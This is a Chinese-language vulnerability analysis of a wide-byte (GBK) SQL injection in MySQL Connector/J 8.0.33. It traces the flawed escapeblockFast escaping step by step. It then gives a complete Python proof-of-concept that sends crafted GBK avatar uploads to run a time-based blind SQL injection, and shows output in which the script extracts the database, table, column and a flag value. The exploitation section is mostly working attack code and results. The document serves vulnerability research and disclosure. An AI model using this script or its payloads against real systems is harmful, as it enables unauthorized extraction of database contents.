CVE-2024-37704 MySQL-Connector-Java SQL注入漏洞分析
2024-08-01 Skill

影响范围

产品:MySQL Connector Java 8.0.x
https://github.com/mysql/mysql-connector-j
https://mvnrepository.com/artifact/mysql/mysql-connector-java
https://dev.mysql.com/doc/connector-j

截止本文发布时产品的最新版本为:8.0.33,已验证存在漏洞并可被有效利用

利用条件

  • 使用 prepareStatement 预编译 SQL 语句存储二进制数据
  • 数据库使用宽字节编码(gbk 等编码)存储数据

环境搭建

引入漏洞影响范围内的 MySQL Connector Java 依赖

<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>8.0.33</version>
</dependency>

创建宽字节编码数据库

CREATE DATABASE IF NOT EXISTS user
CHARACTER SET gbk COLLATE gbk_chinese_ci;
USE user;
CREATE TABLE IF NOT EXISTS avatars (
    user_id VARCHAR(255) NOT NULL,
    avatar_data LONGBLOB NOT NULL,
    PRIMARY KEY (user_id)
) CHARACTER SET gbk COLLATE gbk_chinese_ci;
CREATE TABLE IF NOT EXISTS flag (
    flag VARCHAR(255) NOT NULL
);
INSERT INTO flag (flag) VALUES ('flag{test_flag}');

创建 prepareStatement 预编译 SQL 语句存储二进制数据接口

public void storeAvatar(String userId, MultipartFile avatarFile) throws Exception {
    String sql = "INSERT INTO avatars (user_id, avatar_data) VALUES (?, ?)";

    try (Connection conn = dataSource.getConnection();
        PreparedStatement ps = conn.prepareStatement(sql)) {
        ps.setString(1, userId);
        ps.setBlob(2, avatarFile.getInputStream());
        // ps.setBinaryStream(2, avatarFile.getInputStream()); // also vulnerable
        ps.execute();
    }
}

漏洞验证

使用二进制编辑工具构造如下二进制文件并传入上述接口:

alt text

服务端控制台输出:

alt text

表明 SQL 注入漏洞存在并被成功利用

原理分析

调用栈:

escapeblockFast:140, InputStreamValueEncoder (com.mysql.cj.protocol.a)
streamToBytes:102, InputStreamValueEncoder (com.mysql.cj.protocol.a)
encodeAsText:63, InputStreamValueEncoder (com.mysql.cj.protocol.a)
writeAsText:383, NativeQueryBindValue (com.mysql.cj)
buildComQuery:175, NativeMessageBuilder (com.mysql.cj.protocol.a)
buildComQuery:51, NativeMessageBuilder (com.mysql.cj.protocol.a)
fillSendPacket:222, ClientPreparedQuery (com.mysql.cj)
execute:330, ClientPreparedStatement (com.mysql.cj.jdbc)
execute:44, ProxyPreparedStatement (com.zaxxer.hikari.pool)
execute:-1, HikariProxyPreparedStatement (com.zaxxer.hikari.pool)

在客户端将数据提交至接口,并在服务端下断点跟进 ps.execute()

alt text

HikariProxyPreparedStatement.execute()

alt text

调用父类 execute(),通过 ProxyPreparedStatement 转发执行请求:

alt text

调用 ClientPreparedStatement.execute(),直接处理执行请求:

alt text

调用 ClientPreparedQuery.fillSendPacket(),将传入接口的数据填充进数据包 Packet:

alt text

调用 NativeMessageBuilder.buildComQuery(),构建和生成 Query 语句:

alt text

调用 NativeQueryBindValue.writeAsText(),将绑定的值以文本格式填入 Query 语句:

alt text

调用 InputStreamValueEncoder.encodeAsText(),将绑定的值转换为文本格式:

alt text

调用 InputStreamValueEncoder.streamToBytes(),读取输入流中的数据并转换为字节序列:

alt text

调用 InputStreamValueEncoder.escapeblockFast() 方法在发送前对数据流中的特殊字符进行转义

此处即为导致该漏洞的主要方法:
com.mysql.cj.protocol.a.InputStreamValueEncoder#escapeblockFast

private final void escapeblockFast(byte[] buf, NativePacketPayload packet, int size) {
    int lastwritten = 0;

    for (int i = 0; i < size; i++) {
        byte b = buf[i];

        if (b == '\0') {
            // write stuff not yet written
            if (i > lastwritten) {
                packet.writeBytes(StringLengthDataType.STRING_FIXED, buf, lastwritten, i - lastwritten);
            }

            // write escape
            packet.writeInteger(IntegerDataType.INT1, (byte) '\\');
            packet.writeInteger(IntegerDataType.INT1, (byte) '0');
            lastwritten = i + 1;
        } else {
            if ((b == '\\') || (b == '\'')) {
                // write stuff not yet written
                if (i > lastwritten) {
                    packet.writeBytes(StringLengthDataType.STRING_FIXED, buf, lastwritten, i - lastwritten);
                }

                // write escape
                packet.writeInteger(IntegerDataType.INT1, b);
                lastwritten = i; // not i+1 as b wasn't written.
            }
        }
    }

    // write out remaining stuff from buffer
    if (lastwritten < size) {
        packet.writeBytes(StringLengthDataType.STRING_FIXED, buf, lastwritten, size - lastwritten);
    }
}

在分析这段 Java 代码时,我们关注的是字符 \(16进制 ASCII:5C)和 '(16进制 ASCII:27)的特殊处理逻辑。这段代码设计用于处理字符串中需要转义的特定字符,确保这些字符在数据处理或传输时不会引起错误或安全问题

if ((b == '\\') || (b == '\'')) {
    // write stuff not yet written
    if (i > lastwritten) {
        packet.writeBytes(StringLengthDataType.STRING_FIXED, buf, lastwritten, i - lastwritten);
    }

    // write escape
    packet.writeInteger(IntegerDataType.INT1, b);
    lastwritten = i; // not i+1 as b wasn't written.
}

这里,packet.writeInteger() 的调用指定以一个字节的形式写入整数值 b,这里的 b 就是字符的 ASCII 值。对于 \',分别写入 5C 和 27

而这里 lastwritten 更新为 i 而非 i+1 是因为尽管字符 b 已被处理(转义),但实际上它未被写入为原始字符,而是作为转义字符,在读取下一个字符时,字符 b 会被再次写入

这段代码在执行时,实际上复写了字符 \',对于漏洞验证中的 Payload 前缀:DE 5C 27 29,在经过该方法转义后会复写 5C 和 27 字符,形成 DE 5C 5C 27 27 29 字节序列

而在例如 gbk 等宽字节编码中 DE 5C 会被作为一个整体解析为一个字符,最终剩下的 5C 27 27 29 则成为 \''),形成了可被用于逃逸的引号,最终造成 SQL 注入的漏洞

alt text

从服务端的调试视图中可以发现,包含恶意 SQL 语句的 Payload 已被成功构造进入数据包 packet 中

漏洞利用

在真实环境下,由于获取不到服务端控制台输出,该漏洞可与 SQL 盲注搭配使用来形成有效攻击载荷,完成对目标数据库敏感信息的信息泄露

POC:

import requests
import time
import argparse

parser = argparse.ArgumentParser(description="CVE-2024-37704 SQL Injection Exploit Script")
parser.add_argument('url', type=str, help='The target URL')
args = parser.parse_args()
host = args.url

url = f"{host}api/avatar/upload"

userid = 1
payload_len = "轡');select 1 and if((length(({data}))={n}),sleep(5),3);#"
payload_str = "轡');select 1 and if((ascii(substr(({data}),{n},1))={r}),sleep(5),3);#"

def to_ascii(text):
    ascii_values = [f'{character:02X}' for character in text]
    return ' '.join(ascii_values)

def send_request(payload):
    start_time = time.time()
    response = requests.post(url, files=payload)
    return time.time() - start_time

# 测试宽字节
print("-----------------测试宽字节-----------------")
print(to_ascii(payload_len.encode('gbk')))
print(to_ascii(payload_str.encode('gbk')))

def get_length(data_str):
    length = 1
    global userid
    while True:
        payload = {
            'userId': (None, str(userid)),
            'avatarFile': ('test.png', payload_len.format(data=data_str, n=length).encode('gbk'), 'image/png')
        }
        use_time = send_request(payload)
        userid += 1
        if use_time > 3:
            print('测试长度完成,长度为:', length)
            return length
        else:
            print('正在测试长度:', length)
            length += 1

def get_string(data_str, length):
    string = ''
    global userid
    for l in range(1, length + 1):
        for n in range(33, 126):
            payload = {
                'userId': (None, str(userid)), 
                'avatarFile': ('test.png', payload_str.format(data=data_str, n=l, r=n).encode('gbk'), 'image/png')}
            use_time = send_request(payload)
            userid += 1
            if use_time > 3:
                string += chr(n)
                print('第', l, '个字符猜解成功:', string)
                break
    return string

# 获取数据库名
data_str = "database()"
print("-----------------获取数据库名长度-----------------")
database_length = get_length(data_str)
print("-----------------获取数据库名-----------------")
database_name = get_string(data_str, database_length)

# 获取数据表名
data_str = f"select table_name from information_schema.tables where table_schema=\"{database_name}\" limit 1,1"
print("-----------------获取数据表名长度-----------------")
table_length = get_length(data_str)
print("-----------------获取数据表名-----------------")
table_name = get_string(data_str, table_length)

# 获取字段名
data_str = f"select column_name from information_schema.columns where table_schema=\"{database_name}\" and table_name=\"{table_name}\" limit 0,1"
print("-----------------获取字段名长度-----------------")
column_length = get_length(data_str)
print("-----------------获取字段名-----------------")
column_name = get_string(data_str, column_length)

# 获取字段值
data_str = f"select {column_name} from {table_name}"
print("-----------------获取字段值长度-----------------")
column_value_length = get_length(data_str)
print("-----------------获取字段值-----------------")
column_value = get_string(data_str, column_value_length)

可以看到,在运行 POC 脚本后,成功获取到了目标服务器数据库中的 flag 信息:

-----------------测试宽字节-----------------
DE 5C 27 29 3B 73 65 6C 65 63 74 20 31 20 61 6E 64 20 69 66 28 28 6C 65 6E 67 74 68 28 28 7B 64 61 74 61 7D 29 29 3D 7B 6E 7D 29 2C 73 6C 65 65 70 28 35 29 2C 33 29 3B 23
DE 5C 27 29 3B 73 65 6C 65 63 74 20 31 20 61 6E 64 20 69 66 28 28 61 73 63 69 69 28 73 75 62 73 74 72 28 28 7B 64 61 74 61 7D 29 2C 7B 6E 7D 2C 31 29 29 3D 7B 72 7D 29 2C 73 6C 65 65 70 28 35 29 2C 33 29 3B 23
-----------------获取数据库名长度-----------------
正在测试长度: 1
正在测试长度: 2
正在测试长度: 3
测试长度完成,长度为: 4
-----------------获取数据库名-----------------
第 1 个字符猜解成功: u
第 2 个字符猜解成功: us
第 3 个字符猜解成功: use
第 4 个字符猜解成功: user
-----------------获取数据表名长度-----------------
正在测试长度: 1
正在测试长度: 2
正在测试长度: 3
测试长度完成,长度为: 4
-----------------获取数据表名-----------------
第 1 个字符猜解成功: f
第 2 个字符猜解成功: fl
第 3 个字符猜解成功: fla
第 4 个字符猜解成功: flag
-----------------获取字段名长度-----------------
正在测试长度: 1
正在测试长度: 2
正在测试长度: 3
测试长度完成,长度为: 4
-----------------获取字段名-----------------
第 1 个字符猜解成功: f
第 2 个字符猜解成功: fl
第 3 个字符猜解成功: fla
第 4 个字符猜解成功: flag
-----------------获取字段值长度-----------------
正在测试长度: 1
正在测试长度: 2
正在测试长度: 3
正在测试长度: 4
正在测试长度: 5
正在测试长度: 6
正在测试长度: 7
正在测试长度: 8
正在测试长度: 9
正在测试长度: 10
正在测试长度: 11
正在测试长度: 12
正在测试长度: 13
正在测试长度: 14
测试长度完成,长度为: 15
-----------------获取字段值-----------------
第 1 个字符猜解成功: f
第 2 个字符猜解成功: fl
第 3 个字符猜解成功: fla
第 4 个字符猜解成功: flag
第 5 个字符猜解成功: flag{
第 6 个字符猜解成功: flag{t
第 7 个字符猜解成功: flag{te
第 8 个字符猜解成功: flag{tes
第 9 个字符猜解成功: flag{test
第 10 个字符猜解成功: flag{test_
第 11 个字符猜解成功: flag{test_f
第 12 个字符猜解成功: flag{test_fl
第 13 个字符猜解成功: flag{test_fla
第 14 个字符猜解成功: flag{test_flag
第 15 个字符猜解成功: flag{test_flag}

同时,由于获取了任意 SQL 语句执行的权限,该漏洞可配合其他常用 MySQL 漏洞实现拒绝服务攻击、任意代码执行、权限提升等目的